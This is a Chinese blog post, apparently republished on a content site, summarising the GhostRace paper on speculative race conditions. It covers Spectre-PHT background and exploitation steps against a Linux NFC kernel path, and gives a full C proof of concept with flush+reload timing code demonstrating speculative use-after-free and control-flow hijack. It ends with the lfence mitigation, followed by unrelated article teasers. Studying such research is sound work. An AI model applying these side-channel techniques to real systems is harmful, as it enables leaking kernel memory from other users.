GhostRace: Exploiting and Mitigating Speculative Race Conditions-记录

文章目录

  • 论文
  • 背景
    • Spectre-PHT(Transient Execution )
    • Concurrency Bugs
    • SRC/SCUAF和实验条件
  • 流程
    • Creating an Unbounded UAF Window
    • Crafting Speculative Race Conditions
    • Exploiting Speculative Race Conditions
  • poc
  • 修复

论文

https://www.usenix.org/system/files/usenixsecurity24-ragab.pdf

背景

Spectre-PHT(Transient Execution )

现代 CPU 为提高性能,会对指令进行推测执行(就是CPU会先把可能的判断结果执行)
推测执行可能有两种结果:
a) 指令被正常提交
b) 指令因预测错误被回滚(squashed),产生Transient Execution,但相关缓存被保留

if (x < array1_size) {y = array2[array1[x] * 0x1000];
}
  1. x可控,多次x < array1_size后会认为可能依然是x < array1_size,然后执行if里的语句
  2. 如果x越界,但依然认为是x < array1_size,然后执行if里的语句。此时会把array1[x]越界访问的内容放入缓存,再通过array2[array1[x] * 0x1000]访问对应的位置
  3. 通过测信道可以探测出如果访问array2某个位置快一些,那么这个位置有可能就是array1[x]越界访问的内容,即泄露内容

Concurrency Bugs

在这里插入图片描述

SRC/SCUAF和实验条件

SRC:就是两个线程同时访问一个内存位置,一个是写操作,另一个是瞬时访问,此时瞬时访问能够绕过互斥锁。从而产生Speculative Concurrent Use-After-Free(SCUAF)和Concurrency Bugs类似

所有保护均开启, Linux kernel running on Intel x86-64.然后普通用户通过系统调用引发SRC来泄露数据

流程

在这里插入图片描述

nfc_hci_msg_tx_work该函数是Linux内核中近场通信(NFC)驱动核心的主机控制器接口(Host Controller Interface, HCI)层实现的一部分,负责处理内核发送到NFC设备的待处理消息。由于我们没有所需的NFC硬件来原生执行此函数,因此我们在分析过程中添加了一个系统调用以达到这一代码路径。

在这里插入图片描述

Creating an Unbounded UAF Window

在这里插入图片描述

目的:在free和设置NULL之间创建一个时间较大的窗口间隙

计时器到期会引发中断

首先通过设置定时器引起中断,在kfree时引起中断,但由于上锁,所以会等到已解锁就进入定时器的中断处理函数中,可以增加中断处理函数延长时间,这段时间通过其他核心发动系统调用使得向受害者核心发送中断,然后它陷入无限中断

Crafting Speculative Race Conditions

在这里插入图片描述

锁宏观上没问题,微观上可能有问题

第四行分支最终检查lock cmpxchgq指令的结果,该指令自动比较互斥锁ptr的当前值和旧值old,如果相同,则意味着互斥锁可以被锁定——将互斥锁设置为新值new,并授予对受保护临界区域的访问权,否则不行

我们可以多次获取互斥锁然后推测执行中获取互斥锁并进入受保护的临界区域。

其他常见同步写原语很多通过条件分支实现的,所以都很容易收到推测竞争条件的影响

实验得到不同架构不同核心和线程安排的瞬态执行时可以执行的指令数量
在这里插入图片描述

当两个线程跨核心运行时,窗口通常更大,这表明在推测终止之前,缓存一致性协议在跨内核传播锁体系结构状态方面起着至关重要的作用。(我的理解是前一个执行上锁后,另一个开始推测执行,原执行流检查上锁时候得到已经上锁的信息较慢,导致此时推测执行已经执行多条了)

Exploiting Speculative Race Conditions

在这里插入图片描述

  1. 分配hdev和hdev->cmd_pending_msg
  2. 误导mutex的条件分支
  3. 启动victim线程和风暴线程:设置定时器,并启动目标函数
  4. free后进入定时器中断处理函数,此时窗口增大,运行别的函数
  5. 此时在窗口内创建msgbuf来对应hci_msg
  6. 通过msgsnd申请到hdev->cmd_pending_msg一样大小的project,拿到刚刚释放的,设置好cb和cb_context
  7. nfc_hci_msg_tx_work出发瞬态推测执行劫持控制流

poc

#include <stdio.h>
#include <pthread.h>
#include <assert.h>
#include <stdlib.h>
#include <string.h>#include "fr.h"/* 冲刷+重载缓冲区。 */
#define FR_BUFF_SIZE (2 * 4096)
char fr_buff[FR_BUFF_SIZE] __attribute__((aligned(4096)));/* 易受攻击的锁。 */
volatile int r __cacheline_aligned;
pthread_mutex_t lock;/* 与小工具相关的代码/数据。 */
void my_callback()
{
}void evil_callback()
{/* 我们使用F+R缓冲区的第二个条目来信号成功控制流劫持。 */maccess(&fr_buff[4096]);
}typedef void (*cb_t)();
typedef struct data_s
{cb_t callback;
} data_t;
data_t *data_ptr;/* 辅助函数。 */
void train_lock()
{int i;for (i = 0; i < 10; i++){pthread_mutex_lock(&lock);pthread_mutex_unlock(&lock);}
}void init()
{/* 初始化冲刷+重载缓冲区。 */memset(fr_buff, 'x', FR_BUFF_SIZE);flush(&fr_buff[0]);flush(&fr_buff[4096]);/* 初始化受害者锁。 */int r;r = pthread_mutex_init(&lock, NULL);assert(r == 0 && "pthread_mutex_init 失败");/* 初始化受害者内存槽。 */data_ptr = malloc(sizeof(data_t));data_ptr->callback = my_callback;
}/* 主函数。 */
int main()
{/* 初始化。 */init();/* 线程1:训练锁总是被占用。 */train_lock();/* 线程1:触发释放小工具。 */pthread_mutex_lock(&lock);free(data_ptr);/* 线程2:线程1在free()之后但在状态更新和锁释放之前被中断。然后,线程2重用内存以控制未来的悬挂指针引用(并劫持控制流到恶意回调)。 */data_t *p = malloc(sizeof(data_t));p->callback = evil_callback;assert(p);/* 线程2:触发使用小工具。这只会执行一个UAF(即,推测性控制流劫持)。注意:我们不能在这里使用pthread_mutex_lock,因为它会在同一线程中导致架构上的死锁。相反,我们使用pthread_mutex_trylock来模拟pthread_mutex_lock内部的易受攻击分支。 */r = pthread_mutex_trylock(&lock);flush(&r);if (r == 0){data_ptr->callback();pthread_mutex_unlock(&lock);}/* 线程1:恢复执行并终止释放临界区。 */data_ptr = NULL;pthread_mutex_unlock(&lock);/* 线程2:通过F+R隐蔽通道检查信号。 */unsigned long t1 = probe_timing(&fr_buff[0]);unsigned long t2 = probe_timing(&fr_buff[4096]);if (t2 < t1){printf("得到信号 (%lu < %lu): 内存重用、推测性UAF以及推测性控制流劫持成功触发。\n", t2, t1);}else{printf("意外的时间:%lu << %lu\n", t1, t2);}return 0;
}

头文件

#ifndef FR_H
#define FR_H// 定义 likely 宏,用于优化条件分支预测。
#define likely(expr) __builtin_expect(!!(expr), 1)// 定义缓存行对齐属性宏,确保变量按照64字节边界对齐,并放置在特定的数据段中。
#define __cacheline_aligned \__attribute__((__aligned__(64), \__section__(".data..cacheline_aligned")))// 探测访问给定地址所需的时间。该函数使用汇编指令来测量读取一个内存位置前后的时钟周期数。
static inline unsigned long probe_timing(char *adrs) {volatile unsigned long time;asm __volatile__("    mfence             \n" // 确保所有之前的存储操作已完成。"    lfence             \n" // 确保所有之前加载操作已完成。"    rdtsc              \n" // 读取时间戳计数器。"    lfence             \n" // 确保此指令前的所有加载都已完成。"    movl %%eax, %%esi  \n" // 将低32位时间戳保存到 ESI 寄存器。"    movl (%1), %%eax   \n" // 从内存位置加载数据(触发缓存行为)。"    lfence             \n" // 确保此指令前的所有加载都已完成。"    rdtsc              \n" // 再次读取时间戳计数器。"    subl %%esi, %%eax  \n" // 计算两次读取之间的时间差。"    clflush 0(%1)      \n" // 清除指定内存位置的缓存行。: "=a" (time)            // 输出参数:EAX 寄存器值赋给 'time'。: "c" (adrs)             // 输入参数:'adrs' 的值通过 ECX 寄存器传递。: "%esi", "%edx"         // 被修改的寄存器列表。);return time;
}// 返回当前CPU的时钟周期数。rdtsc 指令读取时间戳计数器,它记录了自系统启动以来的时钟周期数。
static inline unsigned long long rdtsc() {unsigned long long a, d;asm volatile ("mfence"); // 确保所有之前的存储操作已完成。asm volatile ("rdtsc" : "=a" (a), "=d" (d)); // 读取时间戳计数器,分别放入 a 和 d。a = (d<<32) | a; // 组合 EDX:EAX 成一个64位时间戳。asm volatile ("mfence"); // 确保所有之前的存储操作已完成。return a;
}// maccess 宏定义用于触发电平1缓存未命中,模拟内存访问。
#define maccess(p) \asm volatile ("movq (%0), %%rax\n" \: \: "c" (p) \: "rax")// flush 宏定义用于清除指定内存位置的缓存行。
#define flush(p) \asm volatile ("clflush 0(%0)\n" \: \: "c" (p) \: "rax")#endif

在这里插入图片描述

修复

  1. 序列化指令(lfence)

    • lfence 是一种序列化指令,主要用于控制指令流的顺序。它会确保在它之前的所有操作完成后才会执行后续的指令。
    • 通过在 cmpxchg 之后插入 lfence,可以确保在锁定操作完成后,任何后续的操作不会被提前执行。这样就阻止了处理器在锁定机制确认之前,对关键区代码的任何投机执行。
  2. 实现细节

    • 在 Linux 内核的 arch/x86/include/asm/cmpxchg.h 文件中进行了修改。
    • 具体地,在 __raw_cmpxchg__raw_try_cmpxchg 汇编宏中加入了 lfence 指令。
    • 这些宏用于实现所有的写侧同步原语,通过这种方式,确保所有相关的同步操作都受到保护。

但内核性能下降5%

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/64459.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VTK智能指针

文章目录 一、VTK中的New函数二、引用计数三、VTK中的智能指针四、运行时类型识别 一、VTK中的New函数 在 VTK&#xff08;Visualization Toolkit&#xff09;中&#xff0c;New() 函数是创建 VTK 对象的主要方式。它是每个 VTK 类的一个静态方法&#xff0c;专门用于分配和初…

ai绘图丨中国新年春节背景第一弹(附关键词

一、引言 随着春节的临近&#xff0c;节日的氛围愈发浓厚。在电商、社交媒体宣传或者个人创作等诸多场景中&#xff0c;一张精美的中国新年春节背景图都能为作品增色不少。如今&#xff0c;借助 AI 绘图技术&#xff0c;我们能够轻松地创作出独具特色的春节背景图。本文将以 “…

计算机学习

不要只盯着计算机语言学习&#xff0c;你现在已经学习了C语言和Java&#xff0c;暑假又规划学习Python&#xff0c;最后你掌握的就是计算机语言包而已。 2. 建议你找一门想要深挖的语言&#xff0c;沿着这个方向继续往后学习知识就行。计算机语言是学不完的&#xff0c;而未来就…

鸿蒙项目云捐助第七讲鸿蒙App应用的首页推荐模块布局的实现

鸿蒙项目云捐助第七讲鸿蒙App应用的首页推荐模块布局的实现 最后设置首页的推荐模块&#xff0c;参考模板如下图所示。 一、首页热门推荐模块的实现 对于热门推荐模块&#xff0c;先有上面的小标题栏&#xff0c;这里的标题栏也有一个小图标&#xff0c;首先从“百度图库”中…

电子应用设计方案-58:智能沙发系统方案设计

智能沙发系统方案设计 一、引言 智能沙发作为一种融合了舒适与科技的家居产品&#xff0c;旨在为用户提供更加便捷、舒适和个性化的体验。本方案将详细介绍智能沙发系统的设计思路和功能实现。 二、系统概述 1. 系统目标 - 实现多种舒适的姿势调节&#xff0c;满足不同用户的…

【vue-codemirror】Vue中强大的编辑器插件--vue-codemirror

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

Linux下学【MySQL】所有常用类型详解( 配实操图 通俗易懂 )

每日激励&#xff1a;“当你觉得你会幸运时&#xff0c;幸运就会眷顾你&#xff0c;所以努力吧&#xff0c;只要你把事情做好&#xff0c;并觉得你会幸运&#xff0c;你将会变得幸运且充实。” 绪论​&#xff1a; 本章继续学习MySQL的知识&#xff0c;本章主要讲到mysql中的所…

你了解网络层的 ICMP 吗?

你了解网络层的 ICMP 吗&#xff1f; 一. 什么是 ICMP二. ICMP 的工作原理三. ICMP 的结构四. ICMP 的常见应用五. ICMP 的局限性与安全性六. 总结 前言 这是我在这个网站整理的笔记,有错误的地方请指出&#xff0c;关注我&#xff0c;接下来还会持续更新。 作者&#xff1a;神…

uniapp使用百度地图配置了key,但是显示Map key not configured

搞了我两天的一个问题。 hbuilderx版本&#xff1a;4.36 问题介绍&#xff1a; 我的项目是公司的项目&#xff0c;需要在H5端使用百度地图&#xff0c;使用vue-cli创建的uniapp&#xff0c;就是uni代码在src里的目录结构。就是使用这种方式才会遇到这个问题。 问题原因&#xf…

【Qt】drawText字体大小问题探究

背景 软件的一个功能是&#xff1a; 打开图片在图片上绘制序号&#xff0c;序号的样式是圆圈内包含数字将带有序号的图片打印出来 实现思路也很简单&#xff0c;在屏幕上显示时重写paintEvent函数&#xff0c;利用QPainter完成图片和序号的绘制。打印时只需要将QPainter对应…

Win11安装安卓子系统WSA

文章目录 简介一、启用Hyper-V二、安装WSA三、安装APKAPK商店参考文献 简介 WSA&#xff1a;Windows Subsystem For Android 一、启用Hyper-V 控制面板 → 程序和功能 → 启用或关闭 Windows 功能 → 勾选 Hyper-V 二、安装WSA 进入 Microsoft Store&#xff0c;下拉框改为 …

数据结构 ——二叉树转广义表

数据结构 ——二叉树转广义表 1、树转广义表 如下一棵树&#xff0c;转换为广义表 root(c(a()(b()()))(e(d()())(f()(j(h()())())))) (根&#xff08;左子树&#xff09;&#xff08;右子树&#xff09;) 代码实现 #include<stdio.h> #include<stdlib.h>//保存…

企业车辆管理系统(源码+数据库+报告)

一、项目介绍 352.基于SpringBoot的企业车辆管理系统&#xff0c;系统包含两种角色&#xff1a;管理员、用户,系统分为前台和后台两大模块 二、项目技术 编程语言&#xff1a;Java 数据库&#xff1a;MySQL 项目管理工具&#xff1a;Maven 前端技术&#xff1a;Vue 后端技术&a…

ubuntu20.04复现 Leg-KILO

这里写目录标题 opencv版本问题下载3.2.0源代码进入解压后的目录创建构建目录运行 CMake 配置 配置时指定一个独立的安装目录&#xff0c;例如 /opt/opencv-3.2&#xff1a;出错&#xff1a; 使用多线程编译错误1&#xff1a; stdlib.h: 没有那个文件或目录错误2&#xff1a;er…

基于SpringBoot+vue的高校学生成绩管理系统

目录 一、绪论1.1 开发背景1.2 系统开发平台1.2.1 Vue简介1.2.2 IDEA简介1.2.3 MySQL简介 1.3 系统开发环境 二、需求分析2.1 系统需求分析2.2 系统数据流图 三、概要设计3.1 业务流程分析 四、详细设计4.1 系统功能结构图4.2 E-R模型4.3 数据库表设计 五、模块实现5.1 管理员主…

Docker--Docker Image(镜像)

什么是Docker Image&#xff1f; Docker镜像&#xff08;Docker Image&#xff09;是Docker容器技术的核心组件之一&#xff0c;它包含了运行应用程序所需的所有依赖、库、代码、运行时环境以及配置文件等。 简单来说&#xff0c;Docker镜像是一个轻量级、可执行的软件包&…

RabbitMQ的核心组件有哪些?

大家好&#xff0c;我是锋哥。今天分享关于【RabbitMQ的核心组件有哪些&#xff1f;】面试题。希望对大家有帮助&#xff1b; RabbitMQ的核心组件有哪些&#xff1f; 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 RabbitMQ是一个开源的消息代理&#xff08;Messag…

[OpenGL] Transform feedback 介绍以及使用示例

一、简介 本文介绍了 OpenGL 中 Transform Feedback 方法的基本概念和代码示例。 二、Transform Feedback 介绍 1. Transform Feedback 简介 根据 OpenGL-wiki&#xff0c;Transform Feedback 是捕获由顶点处理步骤&#xff08;vertex shader 和 geometry shader&#xff0…

【Linux】—简单实现一个shell(myshell)

大家好呀&#xff0c;我是残念&#xff0c;希望在你看完之后&#xff0c;能对你有所帮助&#xff0c;有什么不足请指正&#xff01;共同学习交流哦&#xff01; 本文由&#xff1a;残念ing原创CSDN首发&#xff0c;如需要转载请通知 个人主页&#xff1a;残念ing-CSDN博客&…

什么是Apache日志?为什么Apache日志分析很重要?

Apache是全球最受欢迎的Web服务器软件&#xff0c;支持约30.2%的所有活跃网站。凭借其可靠性、灵活性和强大的功能&#xff0c;Apache数十年来一直是互联网的中坚力量。 一、Apache Web服务器的工作原理 Apache Web服务器的工作原理如下&#xff1a; 接收HTTP请求&#xff1…